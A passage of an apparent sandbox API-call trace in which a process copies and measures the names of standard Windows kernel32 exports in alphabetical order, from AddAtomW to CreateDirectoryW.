lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0055.093] lstrlenA (lpString="ADDATOMW") returned 8 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0055.093] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0055.093] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0055.093] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0055.093] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0055.093] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0055.093] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0055.093] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0055.093] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0055.093] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0055.094] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0055.094] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0055.094] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0055.094] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0055.094] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0055.094] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0055.094] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0055.094] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0055.094] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0055.094] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0055.094] lstrlenA (lpString="BACKUPREAD") returned 10 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0055.094] lstrlenA (lpString="BACKUPSEEK") returned 10 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0055.094] lstrlenA (lpString="BACKUPWRITE") returned 11 [0055.094] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0055.095] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0055.095] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0055.095] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0055.095] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0055.095] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0055.095] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0055.095] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0055.095] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0055.095] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0055.095] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0055.095] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0055.095] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0055.095] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0055.095] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0055.095] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0055.095] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0055.095] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0055.095] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0055.096] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0055.096] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0055.096] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0055.096] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0055.096] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0055.096] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0055.096] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0055.096] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0055.096] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0055.096] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0055.096] lstrlenA (lpString="BEEP") returned 4 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0055.096] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0055.096] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0055.096] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0055.096] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0055.096] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0055.096] lstrcpyA (in: lpString1=0x34db04, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0055.096] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0055.097] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0055.097] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0055.097] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0055.097] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0055.097] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0055.097] lstrlenA (lpString="CANCELIO") returned 8 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0055.097] lstrlenA (lpString="CANCELIOEX") returned 10 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0055.097] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0055.097] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0055.097] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0055.097] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0055.097] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0055.097] lstrlenA (lpString="CHECKELEVATION") returned 14 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0055.097] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0055.097] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0055.097] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0055.097] lstrcpyA (in: lpString1=0x34db04, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0055.097] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0055.098] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0055.098] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0055.098] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0055.098] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0055.098] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0055.098] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0055.098] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0055.098] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0055.098] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0055.098] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0055.098] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0055.098] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0055.098] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0055.098] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0055.098] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0055.098] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0055.098] lstrcpyA (in: lpString1=0x34db04, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0055.098] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0055.099] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0055.099] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0055.099] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0055.099] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0055.099] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0055.099] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0055.099] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0055.099] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0055.099] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0055.099] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0055.099] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0055.099] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0055.099] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0055.099] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0055.099] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0055.099] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0055.099] lstrcpyA (in: lpString1=0x34db04, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0055.100] lstrlenA (lpString="COPYCONTEXT") returned 11 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0055.100] lstrlenA (lpString="COPYFILEA") returned 9 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0055.100] lstrlenA (lpString="COPYFILEEXA") returned 11 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0055.100] lstrlenA (lpString="COPYFILEEXW") returned 11 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0055.100] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0055.100] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0055.100] lstrlenA (lpString="COPYFILEW") returned 9 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0055.100] lstrlenA (lpString="COPYLZFILE") returned 10 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0055.100] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0055.100] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0055.100] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0055.100] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0055.100] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0055.100] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0055.100] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0055.100] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0055.100] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0055.100] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0055.101] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0055.101] lstrlenA 